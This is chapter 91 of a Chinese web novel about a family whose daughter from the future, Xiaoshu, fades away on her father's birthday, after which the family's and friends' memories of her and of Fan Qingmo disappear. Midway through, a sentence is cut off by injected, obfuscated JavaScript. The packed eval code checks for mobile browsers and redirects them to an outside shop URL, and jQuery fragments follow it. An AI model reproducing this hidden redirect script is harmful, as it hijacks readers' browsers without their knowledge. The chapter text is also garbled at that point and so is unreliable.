第九十一章


    之后的日子，过的像风一样快。


    智媛女士和骆父也知道了小舒要离开的消息。


    阳台上，那些精心侍弄的花，有些蔫吧，茗香苑的餐桌上，好久没有出现海鱼了。


    香馥一小二年级班主任最近有些头疼，骆望舒同学的请假条，实在是太多了。


    骆知暖带着旅行中，被晒成小麦色的皮肤，回到了香馥市，她不仅要守着小舒的离开，还要守着樊青墨。


    骆望舒皮肤变透明是在立冬时分，一家人正应景的坐在餐桌边，喝着智媛女士炖的萝卜排骨汤。


    骆父戴着老学究的眼镜，舀着碗中的汤。


    “你戴着你那老花镜做什么，喝个汤，还要仔细看汤碗里加了多少快萝卜和排骨吗？”智媛女士不满地吐槽，“又不少你肉的，以前怎么不见你戴？”


    骆父的老花并不严重，平时只有在写字看书时才会戴上。也不知怎的，今天刚出房门，应着智媛女士的吆喝，想要坐在餐桌前，他就觉得自己的视力问题好像更加严重了。


    “感觉有些看不清。”


    “看不清？”众人听了这话，有些担忧地放下手中的汤碗，“怎么回事？今天突然看不清还是最近都是？”


    “爸，你怎么不早说啊。”


    “也不是。”骆父嗫嚅半天，才说道，“我刚出来的时候，就看到小舒在那儿坐着，我有点看不清楚她……才戴老花镜的。”


    “嘶……”


    和美的氛围，在此刻似乎化为虚影。


    众人随着骆父的话，将视线转移到了孩子身上，这一刻，大家才发现，小舒身上白的发光的样子已经悄然消失了，转而，变得有些暗淡，有些透明，有些模糊。


    不是骆父的视力出了问题，而是小舒距离离开的时刻，更近了一步。


    萝卜排骨汤变得有些索然无味，小家伙也意识到了，到底发生了什么。


    “哎，姑姑都没有带你到处玩，多合张影留念，你就要走了……”骆知暖有些懊恼。


    “没事哒，我们有拍过照片啊。”二年级的小豆丁看起来比骆知暖更成熟一些，她贴心地安慰道，“我们现在拍也可以哦。”


    “对哦！”骆知暖突然想到，“我们拍过全家福。”


    “对哦，我有好好把照片放在那个相册里哦。”虽然那本大大的相册里只有一张全家福照片，但是骆望舒依然很喜欢那本相册。


    毕竟，相册也是她亲自买哒！


    立冬过后，天气转凉。


    小舒身上的衣服，在一层层地加厚，衣服连带着孩子的身体，在一点点的变得模糊透明。


    岳婉琳每隔几日，就想要确认一下，距离孩子离开，还有多久的时间。


    先是手脚，后来是头发，像是以心脏为圆心的一圈圈模糊特效，一点点地将一个活生生的人模糊掉。


    岳婉琳暂停了手上的工作，骆承默将很多文件下放给了高秘书，二人都想在孩子离开的那一刻，是陪在她身边的。


    高秘书累的脸都垮了，苦哈哈地继承了老板每日的加班日常。


    梁有风倒是无所谓，自从他撞破了二人的恋情，又敏锐的发现了骆总频繁的早退后，大概明白了自家优秀下属暂停手头工作的原因，于是在工作来临时，大义凛然地挡在了她的面前。


    又一年，冬雪。


    又一年，到了骆承默的生日。


    朋友们争相送上了自己的祝福，却没等来来自寿星的邀约。


    岳婉琳和骆承默商量着，今年还是一家三口一起简单地过一个生日吧。


    厨房里，寿星做着菜，厨房外，岳婉琳细心地布置了一番客厅，生日蛋糕已经放在了冰箱里，是画着一家三口小人的模样。


    那时骆望舒亲自选的。


    “妈妈，去年爸爸生日的时候，你还不认识我呢。”小家伙笑嘻嘻地跟在妈妈身边进进出出，像是跟屁虫，“其实哦……”


    小家伙笑的神秘兮兮：“我都看到啦，爸爸一直把眼神放在你身上，其实爸爸第一眼就喜欢你啦。”


    她感觉到了骆承默的喜欢，虽然那时候的他们还并不熟悉对方，但是爸爸对妈妈散发出来的气息，和以后的爸爸很像，虽然，淡了一点。


    “你还记得？”小家伙的话，岳婉琳没放在心上，她揉了揉小家伙的脑袋，自从孩子开始变的透明，她就特别喜欢这个动作，真实的触感可以让她短暂的忘记，孩子在变得透明模糊这个残酷的事实。


    “对哦，妈妈那时候头发长长的，都已经到腰啦。而且黑黑的，卷卷的，香香的，特别漂亮，我特别想摸一下。”


    “那你现在还想摸一下吗？”


    “想。”孩子笑的有些小羞涩，“虽然我那时候就摸到啦。”


    “那你再摸一下？”岳婉琳柔声地说。


    “好哦……妈妈，我好像有点……摸不出来你头发的样子啦……”孩子的声音有些困惑，又有些飘忽，“好奇怪啊，明明应该滑滑的，软软的呀。”


    这话让岳婉琳一下子变了脸色。


    “骆承默，你快出来啊！”


    大声的呼喊，撕裂了家的宁静，厨房的油烟机声音变小，男人拿着锅铲就奔出了厨房。


    “怎么了怎……么了……”


    失声。


    男人怔在了原地。


    话未说完。


    那么小的一个孩子，还眨着迷惑的双眼，她没有意识到，自己已经在变的彻底模糊——就连心脏的位置也在模糊了。


    云曜府外下着冬雪，小区的业主群里，纷纷在质问物业，为什么今天的路灯不发亮。


    “爸爸妈妈，我好像要走啦……”


    “妈妈，你要跟爸爸好好哒……”


    “爸爸，你要让妈妈每天开心，不要让她生气的离家出走哦……”


    “我好像来不及跟姑姑，爷爷奶奶说再见了。”


    “你们要好好的哦，我在以后等你们呀……”


    “好可惜啊，妈妈的头发，没有摸到……”


    “小舒！小舒！”岳婉琳失声惊叫。


    骆承默努力地使出力气，将她扶住，随后紧紧地抱住了她，不让其跌坐在地上。


    骆承默的胸口，湿热着。


    岳婉琳的肩膀，湿热着。


    分别竟来的如此突然，厨房里的焦味在房屋里弥漫，提醒着人，刚才的一瞬间，发生了什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654724|180964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么。


    这一年的冬，没有路灯那暖暖的光，只有寒冷的雪花，和烧焦的味道。


    ————————


    云曜府里，沙发上还有小黄鸭的抱枕。


    浴室里，还有原本陪着主人的小黄鸭浴球。


    孩子的那套小黄鸭餐具，还在餐桌上摆着。


    冰箱里，那个画着一家三口小人的蛋糕，正静静躺着。


    胡子还在猫爬架上上蹿下跳。


    岳婉琳和骆承默沉默地坐在餐桌的两边。


    “你———”


    “我……”


    二人同时出声，又同时噤声。


    “叮铃铃……”


    与二人同时出声的，是岳婉琳的手机。


    来电时骆知暖。


    “婉琳，小舒是不是走了！”


    “你怎么知道？”


    “樊……樊青墨……”电话那头的骆知暖，正喘着气，“我在跟樊青墨一起逛街，他突然不认识我了！”


    “！小舒确实走了，樊青墨也？”岳婉琳失声问道。


    她们的动静，吸引了骆承默的注意，岳婉琳看到他的视线转来，打开了扬声器。


    “对，像是突然失了魂似得，我再叫叫他，他突然之间不认识我了。”


    未来世界的樊青墨的灵魂，在小舒走后，也离开了世界。


    “真奇怪……”


    “咦……”骆知暖疑惑的声音传来。


    “怎么了？”


    “婉琳，我为什么要打电话给你……”


    “什么？”岳婉琳的心中，有了不好的预感，她看向骆承默，对方的脸上也开始有些凝重。


    “好奇怪啊，哈哈哈哈哈，笑死我了，大概是我要给你吐槽吧……我刚才逛街，有一个男的，我都不认识，居然在帮我买单，好好笑……他自己都愣住了，看起来有点意外，后来自己走掉了……”


    “你……是这么觉得？”岳婉琳小心翼翼地问好友。


    “咦？对啊，怎么了吗？唔……不过，确实好奇怪，我不应该是会一个人逛街的人啊，好奇怪，真奇怪，我怎么能忍受的了这种寂寞！不过……刚才那个男的长得好帅，是我的菜，啊啊啊……好可惜，之前没去要联系方式！！”


    “你……还认识骆望舒吗？”


    骆承默抢过手机，急声问道。


    “谁啊，也姓骆哎，是远方表姐那边的亲戚吗……”


    困惑的声音从电话的另一端传来。


    骆望舒和樊青墨都离开了。


    香馥一小的学生名单里，已经没有一个叫骆望舒的孩子了。


    林壮壮与骆望舒的那张课桌，被后勤老师带走。


    “奇怪，你们这里明明应该用的是一人一桌，怎么现在还多出一双课桌来。”


    “不知道啊，一直这么摆的……”


    樊青墨的新书已经消失了，所有人都没有了樊大作家的全新力作。


    樊青墨还是原来那个，写着畅销书的作家。


    未来的他们，在这个时空的痕迹在逐渐消失。


    他们带走了亲人们的记忆，云曜府里的人们，沉浸在随时会失去记忆的痛苦里，惶惶不可终日。